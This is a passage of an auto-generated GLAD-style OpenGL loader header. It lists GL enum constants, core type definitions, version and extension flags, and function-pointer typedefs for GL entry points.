#define GL_UNIFORM_SIZE 0x8A38
#define GL_UNIFORM_TYPE 0x8A37
#define GL_UNPACK_ALIGNMENT 0x0CF5
#define GL_UNPACK_IMAGE_HEIGHT 0x806E
#define GL_UNPACK_LSB_FIRST 0x0CF1
#define GL_UNPACK_ROW_LENGTH 0x0CF2
#define GL_UNPACK_SKIP_IMAGES 0x806D
#define GL_UNPACK_SKIP_PIXELS 0x0CF4
#define GL_UNPACK_SKIP_ROWS 0x0CF3
#define GL_UNPACK_SWAP_BYTES 0x0CF0
#define GL_UNSIGNALED 0x9118
#define GL_UNSIGNED_BYTE 0x1401
#define GL_UNSIGNED_BYTE_2_3_3_REV 0x8362
#define GL_UNSIGNED_BYTE_3_3_2 0x8032
#define GL_UNSIGNED_INT 0x1405
#define GL_UNSIGNED_INT_10F_11F_11F_REV 0x8C3B
#define GL_UNSIGNED_INT_10_10_10_2 0x8036
#define GL_UNSIGNED_INT_24_8 0x84FA
#define GL_UNSIGNED_INT_2_10_10_10_REV 0x8368
#define GL_UNSIGNED_INT_5_9_9_9_REV 0x8C3E
#define GL_UNSIGNED_INT_8_8_8_8 0x8035
#define GL_UNSIGNED_INT_8_8_8_8_REV 0x8367
#define GL_UNSIGNED_INT_SAMPLER_1D 0x8DD1
#define GL_UNSIGNED_INT_SAMPLER_1D_ARRAY 0x8DD6
#define GL_UNSIGNED_INT_SAMPLER_2D 0x8DD2
#define GL_UNSIGNED_INT_SAMPLER_2D_ARRAY 0x8DD7
#define GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE 0x910A
#define GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE_ARRAY 0x910D
#define GL_UNSIGNED_INT_SAMPLER_2D_RECT 0x8DD5
#define GL_UNSIGNED_INT_SAMPLER_3D 0x8DD3
#define GL_UNSIGNED_INT_SAMPLER_BUFFER 0x8DD8
#define GL_UNSIGNED_INT_SAMPLER_CUBE 0x8DD4
#define GL_UNSIGNED_INT_VEC2 0x8DC6
#define GL_UNSIGNED_INT_VEC3 0x8DC7
#define GL_UNSIGNED_INT_VEC4 0x8DC8
#define GL_UNSIGNED_NORMALIZED 0x8C17
#define GL_UNSIGNED_SHORT 0x1403
#define GL_UNSIGNED_SHORT_1_5_5_5_REV 0x8366
#define GL_UNSIGNED_SHORT_4_4_4_4 0x8033
#define GL_UNSIGNED_SHORT_4_4_4_4_REV 0x8365
#define GL_UNSIGNED_SHORT_5_5_5_1 0x8034
#define GL_UNSIGNED_SHORT_5_6_5 0x8363
#define GL_UNSIGNED_SHORT_5_6_5_REV 0x8364
#define GL_UPPER_LEFT 0x8CA2
#define GL_V2F 0x2A20
#define GL_V3F 0x2A21
#define GL_VALIDATE_STATUS 0x8B83
#define GL_VENDOR 0x1F00
#define GL_VERSION 0x1F02
#define GL_VERTEX_ARRAY 0x8074
#define GL_VERTEX_ARRAY_BINDING 0x85B5
#define GL_VERTEX_ARRAY_BUFFER_BINDING 0x8896
#define GL_VERTEX_ARRAY_POINTER 0x808E
#define GL_VERTEX_ARRAY_SIZE 0x807A
#define GL_VERTEX_ARRAY_STRIDE 0x807C
#define GL_VERTEX_ARRAY_TYPE 0x807B
#define GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING 0x889F
#define GL_VERTEX_ATTRIB_ARRAY_DIVISOR 0x88FE
#define GL_VERTEX_ATTRIB_ARRAY_ENABLED 0x8622
#define GL_VERTEX_ATTRIB_ARRAY_INTEGER 0x88FD
#define GL_VERTEX_ATTRIB_ARRAY_NORMALIZED 0x886A
#define GL_VERTEX_ATTRIB_ARRAY_POINTER 0x8645
#define GL_VERTEX_ATTRIB_ARRAY_SIZE 0x8623
#define GL_VERTEX_ATTRIB_ARRAY_STRIDE 0x8624
#define GL_VERTEX_ATTRIB_ARRAY_TYPE 0x8625
#define GL_VERTEX_PROGRAM_POINT_SIZE 0x8642
#define GL_VERTEX_PROGRAM_TWO_SIDE 0x8643
#define GL_VERTEX_SHADER 0x8B31
#define GL_VIEWPORT 0x0BA2
#define GL_VIEWPORT_BIT 0x00000800
#define GL_WAIT_FAILED 0x911D
#define GL_WEIGHT_ARRAY_BUFFER_BINDING 0x889E
#define GL_WRITE_ONLY 0x88B9
#define GL_XOR 0x1506
#define GL_ZERO 0
#define GL_ZOOM_X 0x0D16
#define GL_ZOOM_Y 0x0D17
#include <KHR/khrplatform.h>
typedef unsigned int GLenum;
typedef unsigned char GLboolean;
typedef unsigned int GLbitfield;
typedef void GLvoid;
typedef khronos_int8_t GLbyte;
typedef khronos_uint8_t GLubyte;
typedef khronos_int16_t GLshort;
typedef khronos_uint16_t GLushort;
typedef int GLint;
typedef unsigned int GLuint;
typedef khronos_int32_t GLclampx;
typedef int GLsizei;
typedef khronos_float_t GLfloat;
typedef khronos_float_t GLclampf;
typedef double GLdouble;
typedef double GLclampd;
typedef void *GLeglClientBufferEXT;
typedef void *GLeglImageOES;
typedef char GLchar;
typedef char GLcharARB;
#ifdef __APPLE__
typedef void *GLhandleARB;
#else
typedef unsigned int GLhandleARB;
#endif
typedef khronos_uint16_t GLhalf;
typedef khronos_uint16_t GLhalfARB;
typedef khronos_int32_t GLfixed;
#if defined(__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__) && (__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ > 1060)
typedef khronos_intptr_t GLintptr;
#else
typedef khronos_intptr_t GLintptr;
#endif
#if defined(__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__) && (__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ > 1060)
typedef khronos_intptr_t GLintptrARB;
#else
typedef khronos_intptr_t GLintptrARB;
#endif
#if defined(__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__) && (__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ > 1060)
typedef khronos_ssize_t GLsizeiptr;
#else
typedef khronos_ssize_t GLsizeiptr;
#endif
#if defined(__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__) && (__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ > 1060)
typedef khronos_ssize_t GLsizeiptrARB;
#else
typedef khronos_ssize_t GLsizeiptrARB;
#endif
typedef khronos_int64_t GLint64;
typedef khronos_int64_t GLint64EXT;
typedef khronos_uint64_t GLuint64;
typedef khronos_uint64_t GLuint64EXT;
typedef struct __GLsync *GLsync;
struct _cl_context;
struct _cl_event;
typedef void (GLAD_API_PTR *GLDEBUGPROC)(GLenum source,GLenum type,GLuint id,GLenum severity,GLsizei length,const GLchar *message,const void *userParam);
typedef void (GLAD_API_PTR *GLDEBUGPROCARB)(GLenum source,GLenum type,GLuint id,GLenum severity,GLsizei length,const GLchar *message,const void *userParam);
typedef void (GLAD_API_PTR *GLDEBUGPROCKHR)(GLenum source,GLenum type,GLuint id,GLenum severity,GLsizei length,const GLchar *message,const void *userParam);
typedef void (GLAD_API_PTR *GLDEBUGPROCAMD)(GLuint id,GLenum category,GLenum severity,GLsizei length,const GLchar *message,void *userParam);
typedef unsigned short GLhalfNV;
typedef GLintptr GLvdpauSurfaceNV;
typedef void (GLAD_API_PTR *GLVULKANPROCNV)(void);
#define GL_VERSION_1_0 1
GLAD_API_CALL int GLAD_GL_VERSION_1_0;
#define GL_VERSION_1_1 1
GLAD_API_CALL int GLAD_GL_VERSION_1_1;
#define GL_VERSION_1_2 1
GLAD_API_CALL int GLAD_GL_VERSION_1_2;
#define GL_VERSION_1_3 1
GLAD_API_CALL int GLAD_GL_VERSION_1_3;
#define GL_VERSION_1_4 1
GLAD_API_CALL int GLAD_GL_VERSION_1_4;
#define GL_VERSION_1_5 1
GLAD_API_CALL int GLAD_GL_VERSION_1_5;
#define GL_VERSION_2_0 1
GLAD_API_CALL int GLAD_GL_VERSION_2_0;
#define GL_VERSION_2_1 1
GLAD_API_CALL int GLAD_GL_VERSION_2_1;
#define GL_VERSION_3_0 1
GLAD_API_CALL int GLAD_GL_VERSION_3_0;
#define GL_VERSION_3_1 1
GLAD_API_CALL int GLAD_GL_VERSION_3_1;
#define GL_VERSION_3_2 1
GLAD_API_CALL int GLAD_GL_VERSION_3_2;
#define GL_VERSION_3_3 1
GLAD_API_CALL int GLAD_GL_VERSION_3_3;
#define GL_ARB_debug_output 1
GLAD_API_CALL int GLAD_GL_ARB_debug_output;
#define GL_ARB_framebuffer_object 1
GLAD_API_CALL int GLAD_GL_ARB_framebuffer_object;
#define GL_ARB_get_program_binary 1
GLAD_API_CALL int GLAD_GL_ARB_get_program_binary;
#define GL_EXT_framebuffer_blit 1
GLAD_API_CALL int GLAD_GL_EXT_framebuffer_blit;
#define GL_EXT_framebuffer_multisample 1
GLAD_API_CALL int GLAD_GL_EXT_framebuffer_multisample;
#define GL_EXT_framebuffer_object 1
GLAD_API_CALL int GLAD_GL_EXT_framebuffer_object;
#define GL_OVR_multiview 1
GLAD_API_CALL int GLAD_GL_OVR_multiview;
#define GL_OVR_multiview2 1
GLAD_API_CALL int GLAD_GL_OVR_multiview2;
typedef void (GLAD_API_PTR *PFNGLACCUMPROC)(GLenum op, GLfloat value);
typedef void (GLAD_API_PTR *PFNGLACTIVETEXTUREPROC)(GLenum texture);
typedef void (GLAD_API_PTR *PFNGLALPHAFUNCPROC)(GLenum func, GLfloat ref);
typedef GLboolean (GLAD_API_PTR *PFNGLARETEXTURESRESIDENTPROC)(GLsizei n, const GLuint * textures, GLboolean * residences);
typedef void (GLAD_API_PTR *PFNGLARRAYELEMENTPROC)(GLint i);
typedef void (GLAD_API_PTR *PFNGLATTACHSHADERPROC)(GLuint program, GLuint shader);
typedef void (GLAD_API_PTR *PFNGLBEGINPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLBEGINCONDITIONALRENDERPROC)(GLuint id, GLenum mode);
typedef void (GLAD_API_PTR *PFNGLBEGINQUERYPROC)(GLenum target, GLuint id);
typedef void (GLAD_API_PTR *PFNGLBEGINTRANSFORMFEEDBACKPROC)(GLenum primitiveMode);
typedef void (GLAD_API_PTR *PFNGLBINDATTRIBLOCATIONPROC)(GLuint program, GLuint index, const GLchar * name);
typedef void (GLAD_API_PTR *PFNGLBINDBUFFERPROC)(GLenum target, GLuint buffer);
typedef void (GLAD_API_PTR *PFNGLBINDBUFFERBASEPROC)(GLenum target, GLuint index, GLuint buffer);
typedef void (GLAD_API_PTR *PFNGLBINDBUFFERRANGEPROC)(GLenum target, GLuint index, GLuint buffer, GLintptr offset, GLsizeiptr size);
typedef void (GLAD_API_PTR *PFNGLBINDFRAGDATALOCATIONPROC)(GLuint program, GLuint color, const GLchar * name);
typedef void (GLAD_API_PTR *PFNGLBINDFRAGDATALOCATIONINDEXEDPROC)(GLuint program, GLuint colorNumber, GLuint index, const GLchar * name);
typedef void (GLAD_API_PTR *PFNGLBINDFRAMEBUFFERPROC)(GLenum target, GLuint framebuffer);
typedef void (GLAD_API_PTR *PFNGLBINDFRAMEBUFFEREXTPROC)(GLenum target, GLuint framebuffer);
typedef void (GLAD_API_PTR *PFNGLBINDRENDERBUFFERPROC)(GLenum target, GLuint renderbuffer);
typedef void (GLAD_API_PTR *PFNGLBINDRENDERBUFFEREXTPROC)(GLenum target, GLuint renderbuffer);
typedef void (GLAD_API_PTR *PFNGLBINDSAMPLERPROC)(GLuint unit, GLuint sampler);
typedef void (GLAD_API_PTR *PFNGLBINDTEXTUREPROC)(GLenum target, GLuint texture);
typedef void (GLAD_API_PTR *PFNGLBINDVERTEXARRAYPROC)(GLuint array);
typedef void (GLAD_API_PTR *PFNGLBITMAPPROC)(GLsizei width, GLsizei height, GLfloat xorig, GLfloat yorig, GLfloat xmove, GLfloat ymove, const GLubyte * bitmap);
typedef void (GLAD_API_PTR *PFNGLBLENDCOLORPROC)(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha);
typedef void (GLAD_API_PTR *PFNGLBLENDEQUATIONPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLBLENDEQUATIONSEPARATEPROC)(GLenum modeRGB, GLenum modeAlpha);
typedef void (GLAD_API_PTR *PFNGLBLENDFUNCPROC)(GLenum sfactor, GLenum dfactor);
typedef void (GLAD_API_PTR *PFNGLBLENDFUNCSEPARATEPROC)(GLenum sfactorRGB, GLenum dfactorRGB, GLenum sfactorAlpha, GLenum dfactorAlpha);
typedef void (GLAD_API_PTR *PFNGLBLITFRAMEBUFFERPROC)(GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter);
typedef void (GLAD_API_PTR *PFNGLBLITFRAMEBUFFEREXTPROC)(GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter);
typedef void (GLAD_API_PTR *PFNGLBUFFERDATAPROC)(GLenum target, GLsizeiptr size, const void * data, GLenum usage);
typedef void (GLAD_API_PTR *PFNGLBUFFERSUBDATAPROC)(GLenum target, GLintptr offset, GLsizeiptr size, const void * data);
typedef void (GLAD_API_PTR *PFNGLCALLLISTPROC)(GLuint list);
typedef void (GLAD_API_PTR *PFNGLCALLLISTSPROC)(GLsizei n, GLenum type, const void * lists);
typedef GLenum (GLAD_API_PTR *PFNGLCHECKFRAMEBUFFERSTATUSPROC)(GLenum target);
typedef GLenum (GLAD_API_PTR *PFNGLCHECKFRAMEBUFFERSTATUSEXTPROC)(GLenum target);
typedef void (GLAD_API_PTR *PFNGLCLAMPCOLORPROC)(GLenum target, GLenum clamp);
typedef void (GLAD_API_PTR *PFNGLCLEARPROC)(GLbitfield mask);
typedef void (GLAD_API_PTR *PFNGLCLEARACCUMPROC)(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha);
typedef void (GLAD_API_PTR *PFNGLCLEARBUFFERFIPROC)(GLenum buffer, GLint drawbuffer, GLfloat depth, GLint stencil);
typedef void (GLAD_API_PTR *PFNGLCLEARBUFFERFVPROC)(GLenum buffer, GLint drawbuffer, const GLfloat * value);
typedef void (GLAD_API_PTR *PFNGLCLEARBUFFERIVPROC)(GLenum buffer, GLint drawbuffer, const GLint * value);
typedef void (GLAD_API_PTR *PFNGLCLEARBUFFERUIVPROC)(GLenum buffer, GLint drawbuffer, const GLuint * value);
typedef void (GLAD_API_PTR *PFNGLCLEARCOLORPROC)(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha);
typedef void (GLAD_API_PTR *PFNGLCLEARDEPTHPROC)(GLdouble depth);
typedef void (GLAD_API_PTR *PFNGLCLEARINDEXPROC)(GLfloat c);
typedef void (GLAD_API_PTR *PFNGLCLEARSTENCILPROC)(GLint s);
typedef void (GLAD_API_PTR *PFNGLCLIENTACTIVETEXTUREPROC)(GLenum texture);
typedef GLenum (GLAD_API_PTR *PFNGLCLIENTWAITSYNCPROC)(GLsync sync, GLbitfield flags, GLuint64 timeout);
typedef void (GLAD_API_PTR *PFNGLCLIPPLANEPROC)(GLenum plane, const GLdouble * equation);
typedef void (GLAD_API_PTR *PFNGLCOLOR3BPROC)(GLbyte red, GLbyte green, GLbyte blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3BVPROC)(const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3DPROC)(GLdouble red, GLdouble green, GLdouble blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3FPROC)(GLfloat red, GLfloat green, GLfloat blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3IPROC)(GLint red, GLint green, GLint blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3SPROC)(GLshort red, GLshort green, GLshort blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3UBPROC)(GLubyte red, GLubyte green, GLubyte blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3UBVPROC)(const GLubyte * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3UIPROC)(GLuint red, GLuint green, GLuint blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3UIVPROC)(const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR3USPROC)(GLushort red, GLushort green, GLushort blue);
typedef void (GLAD_API_PTR *PFNGLCOLOR3USVPROC)(const GLushort * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4BPROC)(GLbyte red, GLbyte green, GLbyte blue, GLbyte alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4BVPROC)(const GLbyte * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4DPROC)(GLdouble red, GLdouble green, GLdouble blue, GLdouble alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4DVPROC)(const GLdouble * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4FPROC)(GLfloat red, GLfloat green, GLfloat blue, GLfloat alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4FVPROC)(const GLfloat * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4IPROC)(GLint red, GLint green, GLint blue, GLint alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4IVPROC)(const GLint * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4SPROC)(GLshort red, GLshort green, GLshort blue, GLshort alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4SVPROC)(const GLshort * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4UBPROC)(GLubyte red, GLubyte green, GLubyte blue, GLubyte alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4UBVPROC)(const GLubyte * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4UIPROC)(GLuint red, GLuint green, GLuint blue, GLuint alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4UIVPROC)(const GLuint * v);
typedef void (GLAD_API_PTR *PFNGLCOLOR4USPROC)(GLushort red, GLushort green, GLushort blue, GLushort alpha);
typedef void (GLAD_API_PTR *PFNGLCOLOR4USVPROC)(const GLushort * v);
typedef void (GLAD_API_PTR *PFNGLCOLORMASKPROC)(GLboolean red, GLboolean green, GLboolean blue, GLboolean alpha);
typedef void (GLAD_API_PTR *PFNGLCOLORMASKIPROC)(GLuint index, GLboolean r, GLboolean g, GLboolean b, GLboolean a);
typedef void (GLAD_API_PTR *PFNGLCOLORMATERIALPROC)(GLenum face, GLenum mode);
typedef void (GLAD_API_PTR *PFNGLCOLORP3UIPROC)(GLenum type, GLuint color);
typedef void (GLAD_API_PTR *PFNGLCOLORP3UIVPROC)(GLenum type, const GLuint * color);
typedef void (GLAD_API_PTR *PFNGLCOLORP4UIPROC)(GLenum type, GLuint color);
typedef void (GLAD_API_PTR *PFNGLCOLORP4UIVPROC)(GLenum type, const GLuint * color);
typedef void (GLAD_API_PTR *PFNGLCOLORPOINTERPROC)(GLint size, GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLCOMPILESHADERPROC)(GLuint shader);
typedef void (GLAD_API_PTR *PFNGLCOMPRESSEDTEXIMAGE1DPROC)(GLenum target, GLint level, GLenum internalformat, GLsizei width, GLint border, GLsizei imageSize, const void * data);
typedef void (GLAD_API_PTR *PFNGLCOMPRESSEDTEXIMAGE2DPROC)(GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLint border, GLsizei imageSize, const void * data);
typedef void (GLAD_API_PTR *PFNGLCOMPRESSEDTEXIMAGE3DPROC)(GLenum target, GLint level, GLenum internalformat, GLsizei width, GLsizei height, GLsizei depth, GLint border, GLsizei imageSize, const void * data);
typedef void (GLAD_API_PTR *PFNGLCOMPRESSEDTEXSUBIMAGE1DPROC)(GLenum target, GLint level, GLint xoffset, GLsizei width, GLenum format, GLsizei imageSize, const void * data);
typedef void (GLAD_API_PTR *PFNGLCOMPRESSEDTEXSUBIMAGE2DPROC)(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLsizei imageSize, const void * data);
typedef void (GLAD_API_PTR *PFNGLCOMPRESSEDTEXSUBIMAGE3DPROC)(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLsizei imageSize, const void * data);
typedef void (GLAD_API_PTR *PFNGLCOPYBUFFERSUBDATAPROC)(GLenum readTarget, GLenum writeTarget, GLintptr readOffset, GLintptr writeOffset, GLsizeiptr size);
typedef void (GLAD_API_PTR *PFNGLCOPYPIXELSPROC)(GLint x, GLint y, GLsizei width, GLsizei height, GLenum type);
typedef void (GLAD_API_PTR *PFNGLCOPYTEXIMAGE1DPROC)(GLenum target, GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLint border);
typedef void (GLAD_API_PTR *PFNGLCOPYTEXIMAGE2DPROC)(GLenum target, GLint level, GLenum internalformat, GLint x, GLint y, GLsizei width, GLsizei height, GLint border);
typedef void (GLAD_API_PTR *PFNGLCOPYTEXSUBIMAGE1DPROC)(GLenum target, GLint level, GLint xoffset, GLint x, GLint y, GLsizei width);
typedef void (GLAD_API_PTR *PFNGLCOPYTEXSUBIMAGE2DPROC)(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint x, GLint y, GLsizei width, GLsizei height);
typedef void (GLAD_API_PTR *PFNGLCOPYTEXSUBIMAGE3DPROC)(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLint x, GLint y, GLsizei width, GLsizei height);
typedef GLuint (GLAD_API_PTR *PFNGLCREATEPROGRAMPROC)(void);
typedef GLuint (GLAD_API_PTR *PFNGLCREATESHADERPROC)(GLenum type);
typedef void (GLAD_API_PTR *PFNGLCULLFACEPROC)(GLenum mode);
typedef void (GLAD_API_PTR *PFNGLDEBUGMESSAGECALLBACKARBPROC)(GLDEBUGPROCARB callback, const void * userParam);
typedef void (GLAD_API_PTR *PFNGLDEBUGMESSAGECONTROLARBPROC)(GLenum source, GLenum type, GLenum severity, GLsizei count, const GLuint * ids, GLboolean enabled);
typedef void (GLAD_API_PTR *PFNGLDEBUGMESSAGEINSERTARBPROC)(GLenum source, GLenum type, GLuint id, GLenum severity, GLsizei length, const GLchar * buf);
typedef void (GLAD_API_PTR *PFNGLDELETEBUFFERSPROC)(GLsizei n, const GLuint * buffers);
typedef void (GLAD_API_PTR *PFNGLDELETEFRAMEBUFFERSPROC)(GLsizei n, const GLuint * framebuffers);
typedef void (GLAD_API_PTR *PFNGLDELETEFRAMEBUFFERSEXTPROC)(GLsizei n, const GLuint * framebuffers);
typedef void (GLAD_API_PTR *PFNGLDELETELISTSPROC)(GLuint list, GLsizei range);
typedef void (GLAD_API_PTR *PFNGLDELETEPROGRAMPROC)(GLuint program);
typedef void (GLAD_API_PTR *PFNGLDELETEQUERIESPROC)(GLsizei n, const GLuint * ids);
typedef void (GLAD_API_PTR *PFNGLDELETERENDERBUFFERSPROC)(GLsizei n, const GLuint * renderbuffers);
typedef void (GLAD_API_PTR *PFNGLDELETERENDERBUFFERSEXTPROC)(GLsizei n, const GLuint * renderbuffers);
typedef void (GLAD_API_PTR *PFNGLDELETESAMPLERSPROC)(GLsizei count, const GLuint * samplers);
typedef void (GLAD_API_PTR *PFNGLDELETESHADERPROC)(GLuint shader);
typedef void (GLAD_API_PTR *PFNGLDELETESYNCPROC)(GLsync sync);
typedef void (GLAD_API_PTR *PFNGLDELETETEXTURESPROC)(GLsizei n, const GLuint * textures);
typedef void (GLAD_API_PTR *PFNGLDELETEVERTEXARRAYSPROC)(GLsizei n, const GLuint * arrays);
typedef void (GLAD_API_PTR *PFNGLDEPTHFUNCPROC)(GLenum func);
typedef void (GLAD_API_PTR *PFNGLDEPTHMASKPROC)(GLboolean flag);
typedef void (GLAD_API_PTR *PFNGLDEPTHRANGEPROC)(GLdouble n, GLdouble f);
typedef void (GLAD_API_PTR *PFNGLDETACHSHADERPROC)(GLuint program, GLuint shader);
typedef void (GLAD_API_PTR *PFNGLDISABLEPROC)(GLenum cap);
typedef void (GLAD_API_PTR *PFNGLDISABLECLIENTSTATEPROC)(GLenum array);
typedef void (GLAD_API_PTR *PFNGLDISABLEVERTEXATTRIBARRAYPROC)(GLuint index);
typedef void (GLAD_API_PTR *PFNGLDISABLEIPROC)(GLenum target, GLuint index);
typedef void (GLAD_API_PTR *PFNGLDRAWARRAYSPROC)(GLenum mode, GLint first, GLsizei count);
typedef void (GLAD_API_PTR *PFNGLDRAWARRAYSINSTANCEDPROC)(GLenum mode, GLint first, GLsizei count, GLsizei instancecount);
typedef void (GLAD_API_PTR *PFNGLDRAWBUFFERPROC)(GLenum buf);
typedef void (GLAD_API_PTR *PFNGLDRAWBUFFERSPROC)(GLsizei n, const GLenum * bufs);
typedef void (GLAD_API_PTR *PFNGLDRAWELEMENTSPROC)(GLenum mode, GLsizei count, GLenum type, const void * indices);
typedef void (GLAD_API_PTR *PFNGLDRAWELEMENTSBASEVERTEXPROC)(GLenum mode, GLsizei count, GLenum type, const void * indices, GLint basevertex);
typedef void (GLAD_API_PTR *PFNGLDRAWELEMENTSINSTANCEDPROC)(GLenum mode, GLsizei count, GLenum type, const void * indices, GLsizei instancecount);
typedef void (GLAD_API_PTR *PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXPROC)(GLenum mode, GLsizei count, GLenum type, const void * indices, GLsizei instancecount, GLint basevertex);
typedef void (GLAD_API_PTR *PFNGLDRAWPIXELSPROC)(GLsizei width, GLsizei height, GLenum format, GLenum type, const void * pixels);
typedef void (GLAD_API_PTR *PFNGLDRAWRANGEELEMENTSPROC)(GLenum mode, GLuint start, GLuint end, GLsizei count, GLenum type, const void * indices);
typedef void (GLAD_API_PTR *PFNGLDRAWRANGEELEMENTSBASEVERTEXPROC)(GLenum mode, GLuint start, GLuint end, GLsizei count, GLenum type, const void * indices, GLint basevertex);
typedef void (GLAD_API_PTR *PFNGLEDGEFLAGPROC)(GLboolean flag);
typedef void (GLAD_API_PTR *PFNGLEDGEFLAGPOINTERPROC)(GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLEDGEFLAGVPROC)(const GLboolean * flag);
typedef void (GLAD_API_PTR *PFNGLENABLEPROC)(GLenum cap);
typedef void (GLAD_API_PTR *PFNGLENABLECLIENTSTATEPROC)(GLenum array);
typedef void (GLAD_API_PTR *PFNGLENABLEVERTEXATTRIBARRAYPROC)(GLuint index);
typedef void (GLAD_API_PTR *PFNGLENABLEIPROC)(GLenum target, GLuint index);
typedef void (GLAD_API_PTR *PFNGLENDPROC)(void);
typedef void (GLAD_API_PTR *PFNGLENDCONDITIONALRENDERPROC)(void);
typedef void (GLAD_API_PTR *PFNGLENDLISTPROC)(void);
typedef void (GLAD_API_PTR *PFNGLENDQUERYPROC)(GLenum target);
typedef void (GLAD_API_PTR *PFNGLENDTRANSFORMFEEDBACKPROC)(void);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD1DPROC)(GLdouble u);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD1DVPROC)(const GLdouble * u);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD1FPROC)(GLfloat u);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD1FVPROC)(const GLfloat * u);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD2DPROC)(GLdouble u, GLdouble v);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD2DVPROC)(const GLdouble * u);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD2FPROC)(GLfloat u, GLfloat v);
typedef void (GLAD_API_PTR *PFNGLEVALCOORD2FVPROC)(const GLfloat * u);
typedef void (GLAD_API_PTR *PFNGLEVALMESH1PROC)(GLenum mode, GLint i1, GLint i2);
typedef void (GLAD_API_PTR *PFNGLEVALMESH2PROC)(GLenum mode, GLint i1, GLint i2, GLint j1, GLint j2);
typedef void (GLAD_API_PTR *PFNGLEVALPOINT1PROC)(GLint i);
typedef void (GLAD_API_PTR *PFNGLEVALPOINT2PROC)(GLint i, GLint j);
typedef void (GLAD_API_PTR *PFNGLFEEDBACKBUFFERPROC)(GLsizei size, GLenum type, GLfloat * buffer);
typedef GLsync (GLAD_API_PTR *PFNGLFENCESYNCPROC)(GLenum condition, GLbitfield flags);
typedef void (GLAD_API_PTR *PFNGLFINISHPROC)(void);
typedef void (GLAD_API_PTR *PFNGLFLUSHPROC)(void);
typedef void (GLAD_API_PTR *PFNGLFLUSHMAPPEDBUFFERRANGEPROC)(GLenum target, GLintptr offset, GLsizeiptr length);
typedef void (GLAD_API_PTR *PFNGLFOGCOORDPOINTERPROC)(GLenum type, GLsizei stride, const void * pointer);
typedef void (GLAD_API_PTR *PFNGLFOGCOORDDPROC)(GLdouble coord);
typedef void (GLAD_API_PTR *PFNGLFOGCOORDDVPROC)(const GLdouble * coord);
typedef void (GLAD_API_PTR *PFNGLFOGCOORDFPROC)(GLfloat coord);
typedef void (GLAD_API_PTR *PFNGLFOGCOORDFVPROC)(const GLfloat * coord);
typedef void (GLAD_API_PTR *PFNGLFOGFPROC)(GLenum pname, GLfloat param);
typedef void (GLAD_API_PTR *PFNGLFOGFVPROC)(GLenum pname, const GLfloat * params);
typedef void (GLAD_API_PTR *PFNGLFOGIPROC)(GLenum pname, GLint param);
typedef void (GLAD_API_PTR *PFNGLFOGIVPROC)(GLenum pname, const GLint * params);
